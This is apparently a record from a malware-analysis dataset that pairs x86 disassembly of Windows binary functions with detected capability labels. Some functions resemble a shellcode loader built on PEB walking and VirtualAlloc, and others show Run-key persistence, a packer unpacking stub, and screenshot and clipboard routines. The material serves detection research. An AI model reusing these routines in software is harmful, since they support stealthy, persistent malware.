joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46428b
Capabilities:
Access peb ldr_data
Terminate process

Disassembly:
push ecx
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov eax, dword [eax + 0xc]
add eax, 0xc
push edi
mov eax, dword [eax]
mov esi, dword [eax + 0x30]
test esi, esi
je 0x46429c
mov ebp, dword [eax + 0x18]
mov eax, dword [0x4856bc]
push 0
push eax
call fcn.0046420b
mov edi, dword [0x4856dc]
add esp, 8
mov ebx, eax
mov edx, dword [edi]
test edx, edx
je 0x46430d
movzx eax, word [esi]
xor ecx, ecx
test ax, ax
je 0x4642d8
inc ecx
cmp word [esi + ecx*2], 0
jne 0x4642d0
cmp cl, dl
je 0x4642e5
cmp cl, byte [edi + 1]
jne 0x4643e5
xor edx, edx
xor ecx, ecx
test ax, ax
je 0x4642ff
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2]
test ax, ax
jne 0x4642ee
cmp edx, dword [edi + 4]
je 0x46430d
cmp edx, dword [edi + 8]
jne 0x4643e5
mov eax, dword [0x4856c0]
push 4
push 0x1000
push eax
push 0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov esi, eax
cmp dword [0x4856d4], edx
jbe 0x464356
nop dword [eax + eax]
mov ecx, dword [str.VirtualProtect]
mov ecx, dword [ecx + edx]
mov dword [edx + esi], ecx
mov eax, dword [0x4856b0]
add edx, eax
cmp edx, dword [0x4856d4]
jb 0x46433b
push esi
push ebx
call fcn.0046417b
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4643e5
mov esi, dword [0x4856c8]
lea eax, [esp + 0x10]
mov ecx, dword [0x4856d4]
push eax
push ecx
mov ecx, dword [0x4856b8]
push ecx
push esi
call ebx
mov edx, dword [0x4856b4]
mov ecx, 8
mov edi, dword [edx + ebp + 4]
add edx, ebp
cmp dword [0x4856b8], ecx
jbe 0x4643b2
mov eax, dword [edx + ecx]
add eax, edi
mov dword [esi + ecx], eax
mov eax, dword [0x4856b0]
add ecx, eax
cmp ecx, dword [0x4856b8]
jb 0x46439b
mov eax, dword [0x4856a0]
mov dword [esi + 8], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
mov eax, dword [0x4856b8]
push eax
push esi
call ebx
mov eax, dword [0x4856e0]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x4856e0]
add ecx, esi
add esi, eax
push esi
call ecx
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x46484d
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x497780]
test eax, eax
jne 0x46488c
push 0xac
call fcn.0046af94
test eax, eax
pop ecx
je 0x464870
mov ecx, eax
call fcn.004648a7
mov ecx, eax
jmp 0x464872
xor ecx, ecx
push 0
mov dword [0x497780], ecx
push dword [esp + 8]
call fcn.004661f7
mov eax, dword [0x497780]
test eax, eax
je 0x4648a6
push 0
lea ecx, [eax + 4]
call fcn.00401135
mov eax, dword [0x497780]
push 5
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
ret

Function at 0x464bd1
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x68], 0
je 0x464c14
push 0x23
push 0x47fda0
push str.Save_the_changes__
push dword [esi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
test eax, eax
je 0x464c0f
cmp eax, 6
jne 0x464c0f
push 0
push 0x3fb
push 0x111
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x464c26
cmp eax, 2
je 0x464c26
and dword [0x491d38], 0
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 0x10
Function at 0x465ebd
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push 0
push 0
push 0x1042
push dword [esi + 0x24]
lea ebx, [esi + 0x24]
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
mov dword [ebp - 8], eax
jl 0x465f73
mov eax, dword [0x47e520]
push edi
mov edi, 0x400
lea ecx, [ebp - 4]
push edi
mov dword [ebp - 4], eax
call fcn.004016d4
push edi
push eax
push dword [esi + 0x80]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
lea ecx, [ebp - 4]
call fcn.0040173c
mov edi, 0x47e624
lea ecx, [ebp - 4]
push edi
push 0x47ea4c
call fcn.00401b5d
push edi
push 0x4836d0
lea ecx, [ebp - 4]
call fcn.00401b5d
push 0x4836e0
push 0x47f094
lea ecx, [ebp - 4]
call fcn.00401b5d
push dword [ebp - 4]
mov ecx, ebx
push 2
push dword [ebp - 8]
call fcn.00429bf6
push 1
mov ecx, esi
pop eax
push dword [ebp - 8]
mov dword [esi + 0x78], eax
mov dword [esi + 0x68], eax
call fcn.00465c2e
lea ecx, [ebp - 4]
call fcn.0040139c
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x466326
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push esi
mov esi, 0x2b4
push esi
lea eax, [ebp - 0x2b4]
push 0
push eax
call fcn.0046aa50
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x466368
neg eax
sbb eax, eax
and eax, 2
or ax, 0x4011
push eax
lea eax, [ebp - 0x2b4]
push esi
push eax
push 0x10
jmp 0x466381
neg eax
sbb eax, eax
and eax, 2
or ax, 0x4011
push eax
lea eax, [ebp - 0x2b4]
push esi
push eax
push 0x80
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x2b0]
pop esi
leave
ret

Function at 0x4663fb
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x4977a0]
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
xor edx, edx
cmp eax, edi
jle 0x466428
mov ecx, dword [0x497798]
cmp dword [ecx], ebx
je 0x46642b
inc edx
add ecx, 4
cmp edx, eax
jl 0x46641c
or edx, 0xffffffff
cmp edx, 0xffffffff
je 0x46643a
mov eax, dword [0x49779c]
mov eax, dword [eax + edx*4]
jmp 0x466499
lea eax, [ebp + 8]
push esi
push eax
push ebx
push edi
mov dword [ebp + 8], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov esi, 0x2b4
lea eax, [ebp - 0x2b4]
push esi
push edi
push eax
call fcn.0046aa50
mov eax, dword [ebp + 0xc]
add esp, 0xc
or ax, 0x4008
push eax
lea eax, [ebp - 0x2b4]
push esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push edi
push dword [ebp - 0x2b0]
call fcn.00466393
pop ecx
mov esi, eax
pop ecx
push esi
push ebx
mov ecx, 0x497798
call fcn.00415e73
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret
Function at 0x469627
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
xor esi, esi
mov eax, dword [ebx + 0x6c]
push edi
cmp eax, esi
je 0x469660
push dword [ebx + 0x98]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push dword [ebx + 0x6c]
call dword [sym.imp.GDI32.dll_DeleteDC]
push dword [ebx + 0x70]
mov dword [ebx + 0x6c], esi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebx + 0x70], esi
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 8
push edi
mov dword [ebp - 4], edi
call esi
push 0xa
push edi
mov dword [ebx + 0x74], eax
call esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4f
mov dword [ebx + 0x78], eax
call esi
push eax
push 0x4e
call esi
push eax
push 0x4d
call esi
push eax
push 0x4c
call esi
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_SetRect]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, ecx
mov dword [ebx + 0x80], edx
sub eax, dword [ebp - 0x14]
mov dword [ebx + 0x74], eax
mov eax, dword [ebp - 8]
mov esi, eax
sub esi, edx
mov dword [ebx + 0x78], esi
mov esi, dword [ebp - 0x14]
mov dword [ebx + 0x7c], esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x4696ea
lea edi, [ebp - 0x14]
mov dword [ebx + 0x20], 1
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
jmp 0x4696ee
and dword [ebx + 0x20], 0
sub ecx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
push edi
add ecx, 8
add eax, 8
mov esi, ecx
mov dword [ebp + 8], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
mov dword [ebx + 0x6c], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push dword [ebp + 8]
mov dword [ebx + 0x98], eax
push esi
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
mov dword [ebx + 0x70], eax
push dword [ebx + 0x6c]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
push dword [ebp + 8]
push esi
xor esi, esi
push esi
push esi
push dword [ebx + 0x6c]
call dword [sym.imp.GDI32.dll_BitBlt]
push edi
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x469e2b
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor esi, esi
mov ebx, ecx
push esi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x469ecc
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 4], eax
xor eax, eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x18], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 0x64]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
push dword [ebp - 4]
sub esi, dword [ebp - 0x18]
sub edi, dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x6c]
mov dword [ebp - 8], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov esi, eax
push esi
push dword [ebp - 8]
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp - 8]
mov ecx, ebx
call fcn.004697f0
push esi
push 2
call dword [sym.imp.USER32.dll_SetClipboardData]
push dword [ebp - 4]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x469ed2
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
je 0x469f73
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
test eax, eax
je 0x469f73
push ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x469f73
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
call esi
inc eax
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x469f6d
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push edi
mov dword [ebp - 8], eax
call esi
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.0046aab0
mov esi, esp
push ebx
push ebx
push edi
push esi
push 0xffffffffffffffff
push dword [ebp + 8]
mov byte [esi], bl
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push dword [ebp - 8]
call fcn.0046ccb0
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x46a008
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
lea ecx, [ebp + 0x10]
cmp dword [ebp + 0x10], eax
push esi
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
setne al
and dword [ebp + 0x10], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x46a05c
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret

Function at 0x46a066
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
lea ecx, [ebp + 0xc]
cmp dword [ebp + 0xc], eax
push esi
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
setne al
and dword [ebp + 0xc], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x46a0a8
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret

Function at 0x46a0c9
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc1c
push esi
xor esi, esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [ebp - 0x41c]
push 0x208
push ecx
push eax
call fcn.0046a0b2
mov eax, dword [0x488b6c]
mov ecx, 0x81
mov dword [ebp - 0x214], eax
xor eax, eax
lea edi, [ebp - 0x210]
push 0x4803a8
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x214]
push eax
call fcn.0046bb42
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.0046bb42
lea eax, [ebp - 0x214]
push str.___bg
push eax
call fcn.0046bb42
mov eax, dword [0x488b6c]
add esp, 0x24
mov dword [ebp - 0xc1c], eax
mov ecx, 0x1ff
xor eax, eax
cmp dword [ebp + 0xc], esi
lea edi, [ebp - 0xc18]
mov dword [ebp - 4], esi
rep stosd dword es:[edi], eax
setne al
lea ecx, [ebp - 4]
add eax, 0x80000001
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push 1
lea eax, [ebp - 0xc]
pop edi
mov dword [ebp - 0xc], 0x400
push eax
lea eax, [ebp - 0xc1c]
push eax
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 8], edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x46a1e8
lea eax, [ebp - 0xc1c]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.0046b615
pop ecx
test eax, eax
pop ecx
je 0x46a1e4
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
lea eax, [ebp - 0x214]
push eax
push edi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, edi
jmp 0x46a1ea
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x50e550
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4a4015
lea edi, [esi - 0xa3015]
mov dword [edi + 0xfb320], 0x172f3ff0
push edi
or ebp, 0xffffffff
jmp 0x50e57a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50e581
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50e570
mov eax, 1
add ebx, ebx
jne 0x50e593
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50e5a4
jne 0x50e5c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50e5c3
dec eax
add ebx, ebx
jne 0x50e5b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x50e588
add ebx, ebx
jne 0x50e5bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50e615
xor ecx, ecx
sub eax, 3
jb 0x50e5db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50e64a
sar eax, 1
mov ebp, eax
jmp 0x50e5e6
add ebx, ebx
jne 0x50e5e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50e5b4
inc ecx
add ebx, ebx
jne 0x50e5f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50e5b4
add ebx, ebx
jne 0x50e601
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50e5f6
jne 0x50e612
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50e5f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50e634
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50e626
jmp 0x50e576
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50e634
add edi, ecx
jmp 0x50e576
pop esi
mov edi, esi
mov ecx, 0x3485
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50e652
cmp byte [edi], 0x22
jne 0x50e652
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50e657
lea edi, [esi + 0x108000]
mov eax, dword [edi]
or eax, eax
je 0x50e6c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10e4ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10e53c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50e684
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10e544]
or eax, eax
je 0x50e6c0
mov dword [ebx], eax
add ebx, 4
jmp 0x50e6a1
call dword [esi + 0x10e540]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x50e6f7
cmp al, 0xef
ja 0x50e6ea
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x50e6cc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x50e6d9
mov ebp, dword [esi + 0x10e548]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x10e752]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50e743
sub esp, 0xffffff80
jmp 0x4014c0
Function at 0x10145e1
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1036a44]
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov di, word [ebx]
cmp di, 0x41
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], ebx
jb 0x1014735
cmp di, 0x5a
ja 0x1014735
mov ecx, dword [ecx]
movzx eax, di
sub eax, 0x41
lea eax, [eax + eax*4]
push esi
lea esi, [ecx + eax*8]
call fcn.01004490
cmp dword [ebp + 8], 0x20
je 0x1014679
cmp dword [ebp + 8], 0x400
jne 0x101472f
cmp byte [esi + 0x10], 0
je 0x101472f
push dword [esi + 0xc]
xor edi, edi
mov byte [esi + 0x10], 0
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x20], edi
call fcn.0102ec42
push 2
call int.0102ec4e
cmp eax, edi
pop ecx
pop ecx
mov dword [esi + 0xc], eax
je 0x101472f
mov word [eax], di
jmp 0x101471e
push 0x104
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
jbe 0x101472f
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.01013df5
cmp byte [esi + 0x10], 0
mov edi, eax
mov ebx, edx
je 0x10146b4
cmp edi, dword [esi]
jne 0x10146b4
cmp ebx, dword [esi + 4]
je 0x101472f
push dword [ebp - 0x210]
push ebx
push edi
call fcn.01013fdb
test al, al
jne 0x101472f
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
mov byte [esi + 0x10], 1
mov dword [esi], edi
mov dword [esi + 4], ebx
call fcn.01003bed
test al, al
je 0x10146ea
and dword [esi + 0x20], 0
jmp 0x10146ee
or dword [esi + 0x20], 1
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.msvcrt.dll_wcslen]
lea eax, [eax + eax + 2]
push eax
call int.0102ec4e
test eax, eax
pop ecx
pop ecx
mov dword [esi + 0xc], eax
je 0x101472f
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.msvcrt.dll_wcscpy]
pop ecx
pop ecx
or eax, 0xffffffff
push eax
push eax
push eax
push eax
push 3
push 0xa
push esi
call fcn.01011c24
call fcn.010044a1
pop esi
mov ecx, dword [ebp - 4]
pop edi
pop ebx
call fcn.0102e95a
leave
ret 8
Function at 0x10147ad
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x1036a44]
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], ecx
call fcn.01004490
push ebx
push esi
mov dword [ebp - 0x418], 0x41
push edi
movzx eax, word [ebp - 0x418]
mov edx, dword [ebp - 0x41c]
mov edx, dword [edx]
push eax
lea ecx, [eax + eax*4 - 0x145]
lea eax, [ebp - 0x414]
push 0x1001a6c
push eax
lea esi, [edx + ecx*8]
call dword [sym.imp.msvcrt.dll_swprintf]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
jne 0x101485e
cmp byte [esi + 0x10], al
je 0x101491a
push dword [esi + 0xc]
xor edi, edi
mov byte [esi + 0x10], al
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x20], edi
call fcn.0102ec42
push 2
call int.0102ec4e
cmp eax, edi
pop ecx
pop ecx
mov dword [esi + 0xc], eax
je 0x101492e
mov word [eax], di
jmp 0x1014906
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x418]
call fcn.01013df5
cmp byte [esi + 0x10], 0
mov edi, eax
mov ebx, edx
je 0x101489a
cmp edi, dword [esi]
jne 0x101489a
cmp ebx, dword [esi + 4]
jne 0x101489a
lea eax, [ebp - 0x20c]
push eax
push dword [esi + 0xc]
call fcn.0101e05d
test eax, eax
je 0x101491a
lea eax, [ebp - 0x414]
push eax
push ebx
push edi
call fcn.01013fdb
test al, al
jne 0x101491a
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
mov byte [esi + 0x10], 1
call fcn.01003bed
test al, al
je 0x10148cd
and dword [esi + 0x20], 0
jmp 0x10148d1
or dword [esi + 0x20], 1
lea eax, [ebp - 0x20c]
push eax
mov dword [esi], edi
mov dword [esi + 4], ebx
call dword [sym.imp.msvcrt.dll_wcslen]
lea eax, [eax + eax + 2]
push eax
call int.0102ec4e
test eax, eax
pop ecx
pop ecx
mov dword [esi + 0xc], eax
je 0x101492e
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.msvcrt.dll_wcscpy]
pop ecx
pop ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0xffffffffffffffff
push 0xffffffffffffffff
push 3
push 0xa
push esi
call fcn.01011c24
inc dword [ebp - 0x418]
cmp word [ebp - 0x418], 0x5a
jbe 0x10147d8
call fcn.010044a1
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0102e95a
leave
ret 8
Function at 0x1014a8f
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1036a44]
push esi
push 0xffffffffffffffff
mov esi, ecx
push 0x1a
mov dword [ebp - 4], eax
mov dword [ebp - 0x420], esi
call fcn.01014947
cmp dword [esi + 4], 0x1a
je 0x1014ac1
xor al, al
jmp 0x1014b99
push ebx
push edi
push 0x41
pop edi
xor ebx, ebx
mov dword [ebp - 0x41c], edi
mov dword [ebp - 0x418], ebx
jmp 0x1014adc
mov esi, dword [ebp - 0x420]
mov esi, dword [esi]
add esi, dword [ebp - 0x418]
push dword [ebp - 0x41c]
lea eax, [ebp - 0x414]
push 0x1001a6c
push eax
mov word [esi + 8], di
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov byte [esi + 0x10], bl
mov dword [esi + 0x18], 1
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
call dword [sym.imp.msvcrt.dll_swprintf]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1014b6b
lea eax, [ebp - 0x20c]
push eax
mov byte [esi + 0x10], 1
call dword [sym.imp.msvcrt.dll_wcslen]
lea eax, [eax + eax + 2]
push eax
call int.0102ec4e
cmp eax, ebx
pop ecx
pop ecx
mov dword [esi + 0xc], eax
je 0x1014b7d
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.msvcrt.dll_wcscpy]
pop ecx
pop ecx
jmp 0x1014b7d
push 2
call int.0102ec4e
cmp eax, ebx
pop ecx
mov dword [esi + 0xc], eax
je 0x1014b7d
mov word [eax], bx
add dword [ebp - 0x418], 0x28
inc edi
inc dword [ebp - 0x41c]
cmp di, 0x5a
jbe 0x1014ad6
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
pop esi
call fcn.0102e95a
leave
ret